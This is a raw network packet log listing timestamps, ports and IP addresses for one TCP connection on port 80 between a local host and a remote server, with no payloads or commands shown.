Jul 27, 2024 03:19:22.904638052 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904654026 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904659033 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904670000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904675961 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904685974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904691935 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904701948 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904709101 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904717922 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904725075 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904732943 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904740095 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904756069 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904769897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904774904 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904774904 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904787064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904797077 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904803038 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904803991 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904819965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904824972 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904834986 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904844999 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904850960 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904860973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904891014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904910088 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.997764111 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.997802973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.997817039 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.997823954 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.997832060 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.997836113 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.997848034 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.997859001 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.997863054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.997879982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.997884989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.997900963 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.997915983 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.997917891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.997937918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.997961998 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.997976065 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.997989893 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998003960 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998008013 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998018980 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998025894 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998034000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998040915 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998056889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998071909 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998097897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998131990 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998142958 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998157024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998176098 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998193026 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998241901 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998261929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998276949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998277903 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998291969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998295069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998310089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998312950 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998323917 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998328924 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998342037 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998343945 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998359919 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998361111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998373985 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998379946 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998389006 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998397112 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998408079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998414040 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998430014 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998430014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998444080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998444080 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998457909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998461008 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998478889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998486996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998495102 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998502016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998522997 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998522997 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998537064 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998537064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998552084 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998553038 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998584986 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998584986 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998590946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998605013 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998619080 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998626947 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998641968 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998657942 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998672009 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998686075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998699903 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998704910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998722076 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998737097 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998753071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998768091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998781919 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998785973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998795986 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998802900 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998811007 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998833895 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998833895 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998847961 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998857021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998871088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998886108 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998892069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998900890 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998908997 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998918056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998920918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998939991 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998956919 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.998958111 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998971939 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998987913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.998991013 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999001980 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999010086 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999025106 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999041080 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999041080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999054909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999063015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999070883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999084949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999099016 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999121904 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999139071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999154091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999166965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999174118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999190092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999206066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999221087 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999236107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999257088 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999258041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999273062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999275923 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999289036 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999289989 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999305010 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999308109 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999321938 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999330044 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999341011 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999351978 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999355078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999383926 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999439955 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999454021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999475956 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999490976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999494076 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999506950 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999521971 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999528885 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999536991 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999545097 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999563932 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999567032 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999582052 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999581099 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999597073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999600887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999612093 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999619961 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999628067 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999636889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999645948 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999649048 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999661922 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999663115 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999676943 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999677896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999722004 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999722004 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999726057 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999739885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999754906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.999757051 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999773979 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.999811888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.049886942 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.049923897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.049948931 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.049978018 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.049987078 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050021887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050122023 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050160885 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050162077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050180912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050198078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050205946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050218105 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050221920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050241947 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050255060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050266981 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050281048 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050297976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050301075 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050312996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050314903 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050328016 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050328970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050342083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050342083 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050358057 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050360918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050371885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050378084 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050390005 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050395012 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050403118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050410986 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050425053 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050427914 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050443888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050448895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050460100 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050462008 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050476074 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050488949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050488949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050503016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050507069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050518036 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050534010 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050535917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050545931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050550938 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050563097 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050565004 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050578117 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050579071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050590992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050595045 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050606012 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050611019 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050621986 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050627947 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050637960 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050643921 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050653934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050658941 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050668955 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050676107 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050692081 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050708055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.050714970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.050748110 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085342884 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085360050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085376024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085390091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085407019 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085412025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085422039 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085429907 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085438013 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085465908 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085530996 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085587978 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085623980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085627079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085658073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085711956 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085747957 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085753918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085769892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085787058 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085803986 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085808992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085823059 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085838079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085841894 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085854053 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085855961 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085875034 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085879087 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085889101 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085892916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085908890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085916996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085922956 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085932016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085947037 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085951090 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085962057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085963011 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.085975885 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.085989952 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.086002111 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.086014032 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.086028099 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.086035013 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.086050034 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.086051941 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.086066961 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.086069107 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.086082935 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.086090088 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.086098909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.086102009 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.086117029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.086118937 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.086132050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.086133003 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.086148024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.086148024 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.086163998 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.086165905 CEST	49713	80	192.168.2.6	185.215.113.16
